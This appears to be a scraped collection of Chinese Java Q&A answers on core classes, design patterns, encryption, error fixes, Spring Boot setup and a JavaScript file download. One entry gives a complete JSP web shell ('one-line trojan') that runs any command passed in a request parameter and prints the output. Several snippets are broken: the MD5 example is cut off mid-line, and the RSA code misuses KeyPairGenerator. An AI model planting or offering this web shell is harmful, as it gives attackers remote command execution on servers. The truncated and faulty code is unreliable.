2024-08-27

在Java中,System类提供了标准输入、输出和错误输出流;Runtime类用于表示运行时环境;Object类是所有类的根类;Objects类提供了一些工具方法用于操作对象。

以下是这些类的一些常用方法和示例代码:

  1. System

    • arraycopy(Object src, int srcPos, Object dest, int destPos, int length): 从指定源数组中复制一个数组,从指定的位置开始,到目标数组的指定位置。
    
    
    
    int[] source = {1, 2, 3, 4, 5};
    int[] destination = new int[5];
    System.arraycopy(source, 1, destination, 2, 2);
    // destination 现在为 {0, 0, 2, 3, 0}
  2. Runtime

    • getRuntime(): 返回与当前Java应用程序相关的运行时对象。
    • exec(String command): 在单独的进程中执行指定的字符串命令。
    
    
    
    Runtime runtime = Runtime.getRuntime();
    Process process = runtime.exec("ls");
    // 执行列出当前目录下文件的Unix命令
  3. Object

    • equals(Object obj): 判断指定的对象是否等于此对象。
    • toString(): 返回对象的字符串表示形式。
    • getClass(): 返回此Object的运行时类。
    • hashCode(): 返回对象的哈希码值。
    
    
    
    class Person {
        String name;
        int age;
     
        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
     
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (o == null || getClass() != o.getClass()) return false;
            Person person = (Person) o;
            return age == person.age &&
                    Objects.equals(name, person.name);
        }
     
        @Override
        public int hashCode() {
            return Objects.hash(name, age);
        }
     
        @Override
        public String toString() {
            return "Person{" +
                    "name='" + name + '\'' +
                    ", age=" + age +
                    '}';
        }
    }
  4. Objects

    • equals(Object a, Object b): 判断两个对象是否相等。
    • requireNonNull(T obj): 检查指定的对象引用是否不为null,不为null则返回,为null则抛出NullPointerException
    
    
    
    String str = Objects.requireNonNull(getNullableString());
    // 如果getNullableString()返回null,这行代码会抛出NullPointerException

这些是Java API中的基本类,对于初学者来说,熟悉它们的方法和使用场景非常重要。

2024-08-27

一句话木马是一种通过网页注入脚本代码来获得网站服务器控制权的技术。由于其简洁性和隐蔽性,它常常被黑客用于恶意目的。在Java中,JSP(Java Server Pages)也可以作为一句话木马的载体。

以下是一个简单的JSP一句话木马示例:




<%
if(request.getParameter("cmd") != null) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while ((a = in.read(b)) != -1) {
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

这段代码中,我们检查是否有传入名为cmd的参数。如果有,则执行该参数作为命令的内容,并将执行结果通过JSP页面输出。

警告:一句话木马和任何形式的恶意代码都具有极大的安全风险。请务必确保你完全理解了这些代码的作用和潜在的风险,并且仅在必要时使用,并在完成后立即删除。永远不要在不安全的、未经保护的服务器上使用一句话木马或其他恶意代码。

2024-08-27

在Java中,可以使用策略模式和枚举来替换if-else结构。以下是一个简化的例子:

假设我们有一个类,根据不同的枚举值执行不同的操作。

首先,定义一个枚举:




public enum Operation {
    PLUS,
    MINUS,
    TIMES,
    DIVIDE;
}

然后,创建一个策略接口:




public interface Strategy {
    int performOperation(int a, int b);
}

接下来,实现该接口的不同策略:




public class PlusStrategy implements Strategy {
    @Override
    public int performOperation(int a, int b) {
        return a + b;
    }
}
 
public class MinusStrategy implements Strategy {
    @Override
    public int performOperation(int a, int b) {
        return a - b;
    }
}
// 其他策略类似...

最后,我们创建一个上下文类,它根据不同的枚举值使用不同的策略:




import java.util.HashMap;
import java.util.Map;
 
public class Context {
    private static final Map<Operation, Strategy> strategies = new HashMap<>();
 
    static {
        strategies.put(Operation.PLUS, new PlusStrategy());
        strategies.put(Operation.MINUS, new MinusStrategy());
        // 其他策略的映射...
    }
 
    public int perform(Operation operation, int a, int b) {
        return strategies.get(operation).performOperation(a, b);
    }
}

使用上下文类执行操作:




public class Main {
    public static void main(String[] args) {
        Context context = new Context();
        int result = context.perform(Operation.PLUS, 3, 4);
        System.out.println(result); // 输出7
    }
}

这个例子展示了如何使用策略模式和枚举来替换if-else结构,使代码更加清晰和可扩展。

2024-08-27

在Java中,最常见的加密算法包括:

  1. AES (Advanced Encryption Standard)
  2. DES (Data Encryption Standard)
  3. 3DES
  4. RSA
  5. MD5 (Message Digest 5)

以下是每种算法的简单示例代码:

  1. AES加密:



import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
 
public class AESEncryption {
    public static String encrypt(String data, String key) throws Exception {
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES"));
        return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
    }
}
  1. DES加密:



import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
 
public class DESEncryption {
    public static String encrypt(String data, String key) throws Exception {
        Cipher cipher = Cipher.getInstance("DES");
        cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key.getBytes(), "DES"));
        return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
    }
}
  1. 3DES加密:



import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
 
public class TripleDESEncryption {
    public static String encrypt(String data, String key) throws Exception {
        Cipher cipher = Cipher.getInstance("DESede");
        cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key.getBytes(), "DESede"));
        return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
    }
}
  1. RSA加密:



import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.util.Base64;
 
import javax.crypto.Cipher;
 
public class RSAEncryption {
    public static String encrypt(String data, String publicKey) throws Exception {
        Cipher cipher = Cipher.getInstance("RSA");
        cipher.init(Cipher.ENCRYPT_MODE, KeyPairGenerator.getInstance("RSA").generatePublic(new X509EncodedKeySpec(Base64.getDecoder().decode(publicKey))));
        return Base64.getEncoder().encodeToString(cipher.doFinal(data.getBytes()));
    }
}
  1. MD5加密:



import java.security.MessageDigest;
 
public class MD5Encryption {
    public static String encrypt(String data) throws Exception {
        MessageDigest md = MessageDigest.getInstance("MD5
2024-08-27

报错信息java.lang.NoSuchFieldError表明尝试访问一个类中不存在的字段。这通常发生在编译时和运行时使用了不同版本的类文件时。

报错中提到的com.sun.tools.javac.tree.JCTree是Java编译器的一部分,它是JDK内部的工具,并不是Java的标准API。如果你在代码中直接或间接地引用了这个类或其字段,但是运行环境中的JDK版本和编译时所用的JDK版本不一致,就可能会出现这个错误。

解决方法:

  1. 确保编译和运行时使用相同版本的JDK。如果你使用的是IDE,检查项目设置中的JDK版本是否与你的开发环境中安装的版本一致。
  2. 如果你是在使用某个库或框架,确保这个库或框架兼容你的JDK版本。
  3. 如果你是在编译某个第三方工具或库,确保你的CLASSPATH环境变量没有包含不兼容版本的JDK类文件。
  4. 如果你是在编译Java源代码,确保你没有引用了不属于Java标准库的类或字段,如果有,确保相关的库已经被正确地包含在编译路径中。
  5. 如果你是在使用构建工具(如Maven或Gradle),确保你的构建脚本指定了正确的依赖版本。
  6. 如果以上方法都不适用,可能需要清理项目,重新编译。

在处理这个问题时,请确保你理解你的代码在运行时的环境依赖,并确保所有的环境都是兼容的。

2024-08-27

在VSCode中使用Gradle和OpenJDK 21设置Spring Boot 3项目的步骤如下:

  1. 安装Visual Studio Code (VSCode)。
  2. 安装Java Extension Pack,它会包括必要的Java扩展,如Language Support for Java(TM) by Red Hat、Debugger for Java、Java Test Runner等。
  3. 安装Gradle Extension Pack,它会包括必要的Gradle扩展,如Gradle Tasks、Share Gradle Extensions等。
  4. 下载并安装OpenJDK 21。
  5. 创建一个新的Spring Boot 3项目。可以使用Spring Initializr (https://start.spring.io/) 生成项目的基础结构,或者使用Gradle的Spring Boot插件。

以下是一个简单的Gradle构建脚本示例,用于创建一个最基本的Spring Boot 3项目:




plugins {
    id 'org.springframework.boot' version '3.0.0-SNAPSHOT'
    id 'io.spring.dependency-management' version '2.0.0-SNAPSHOT'
    id 'java'
}
 
group = 'com.example'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '17'
 
repositories {
    mavenCentral()
    maven { url 'https://repo.spring.io/snapshot' }
    maven { url 'https://repo.spring.io/milestone' }
}
 
dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web'
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
 
tasks.named('test') {
    useJUnitPlatform()
}

将此构建脚本保存为build.gradle,并在VSCode中打开包含此文件的目录。使用Gradle Tasks视图运行tasks -> gradle -> build来构建项目。

一旦项目构建完成,你可以使用tasks -> gradle -> bootRun来运行Spring Boot应用。

注意:Spring Boot 3的正式发布日期和具体版本可能会随着开发进程变化而变化。上述示例中使用的是Spring Boot 3的快照版本和Spring Dependency Management插件的快照版本,它们可能需要定期更新以保持与最新的开发进度同步。

2024-08-27

解释:

java.net.ConnectException: 拒绝连接 (Connection refused) 这个错误表明你的应用程序尝试连接到一个服务器(在这个案例中是 Doris 数据库),但是目标地址的端口没有在监听状态,因此无法建立连接。

可能的原因:

  1. Doris 数据库服务没有运行或者没有正确启动。
  2. 防火墙设置阻止了连接。
  3. 网络问题导致请求的端口不可达。
  4. 应用程序配置错误,比如端口号或者主机地址不正确。

解决方法:

  1. 确认 Doris 数据库服务正在运行并且监听正确的端口。
  2. 检查防火墙设置,确保应用程序尝试连接的端口没有被阻止。
  3. 检查网络连接,确保网络通畅,没有中断。
  4. 核对应用程序的配置信息,确保连接信息正确。

如果 Doris 数据库运行在容器或者虚拟机中,请确保正确映射了端口,并且没有网络隔离问题。如果是云服务,请检查安全组或访问控制列表是否允许访问该端口。

2024-08-27



import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
 
// 示例函数,接受一个可能为空的字符串
public void processString(@Nullable String text) {
    if (text != null) {
        // 在这里处理非空字符串
    } else {
        // 处理空字符串或null值
    }
}
 
// 示例函数,接受一个必须非空的字符串
public void processNonNullString(@NotNull String text) {
    // 在这里直接处理非空字符串,不需要检查是否为null
}
 
// 主函数示例
public static void main(String[] args) {
    Example example = new Example();
    example.processString(null); // 正常运行,text参数可以为null
    example.processNonNullString("Not null"); // 正常运行,text参数不能为null
}

这个代码示例展示了如何在Java中使用@Nullable@NotNull注解来增强函数参数的可读性和类型安全性。通过这些注解,开发者可以清楚地知道一个函数是否期望其参数是非空的,从而在编写代码时做出更安全的假设。

2024-08-27

在Java中,获取List中的最后一个元素可以通过几种方式实现。以下是几种常见的方法:

  1. 使用get(int index)方法,索引是list.size() - 1
  2. 使用list.get(list.size() - 1)
  3. 使用Java 8的Stream API中的reduce方法。

以下是使用这些方法的示例代码:




import java.util.List;
import java.util.Arrays;
 
public class LastElement {
    public static void main(String[] args) {
        List<Integer> list = Arrays.asList(1, 2, 3, 4, 5);
 
        // 方法1: 使用get(int index)
        Integer lastElement1 = list.get(list.size() - 1);
        System.out.println(lastElement1); // 输出: 5
 
        // 方法2: 使用list.size() - 1
        Integer lastElement2 = list.get(list.size() - 1);
        System.out.println(lastElement2); // 输出: 5
 
        // 方法3: 使用Stream API的reduce
        Integer lastElement3 = list.stream().reduce((first, second) -> second).orElse(null);
        System.out.println(lastElement3); // 输出: 5
    }
}

请注意,使用get(int index)方法时,如果索引超出范围将抛出IndexOutOfBoundsException异常。因此,在实际应用中,可能需要先检查list.size()是否大于0。

2024-08-27

在网页中保存文件到用户指定的本地路径通常是不被浏览器允许的,因为这会是一个安全问题。但是,可以通过创建一个文件下载链接来引导用户保存文件。

以下是一个使用JavaScript创建文件下载链接并触发保存文件对话框的例子:




function saveFile(data, fileName) {
  // 创建一个Blob对象,其中包含要保存的数据
  const blob = new Blob([data], { type: 'data:application/octet-stream' });
 
  // 创建一个指向Blob对象的URL
  const url = URL.createObjectURL(blob);
 
  // 创建一个a标签
  const link = document.createElement('a');
  link.href = url;
  link.download = fileName; // 指定下载文件名
  document.body.appendChild(link); // 将a标签添加到DOM中
 
  // 触发a标签的点击事件,进行下载
  link.click();
 
  // 清理并移除元素和对象URL
  document.body.removeChild(link);
  URL.revokeObjectURL(url);
}
 
// 使用示例
const fileContent = 'Hello, World!';
saveFile(fileContent, 'hello.txt');

当调用saveFile函数时,它会创建一个新的Blob对象,然后生成一个URL指向这个Blob。接着,它创建一个临时的<a>标签,并设置href属性为这个URL,并设置download属性为想要保存的文件名。最后,通过添加这个<a>标签到DOM并立即点击它来触发文件下载。最后清理这个临时创建的<a>标签和对象URL,以防止内存泄漏。

用户会看到一个保存文件的对话框,允许他们选择本地路径来保存文件。请注意,文件的实际保存位置由用户的浏览器和操作系统控制,开发者无法直接指定本地路径。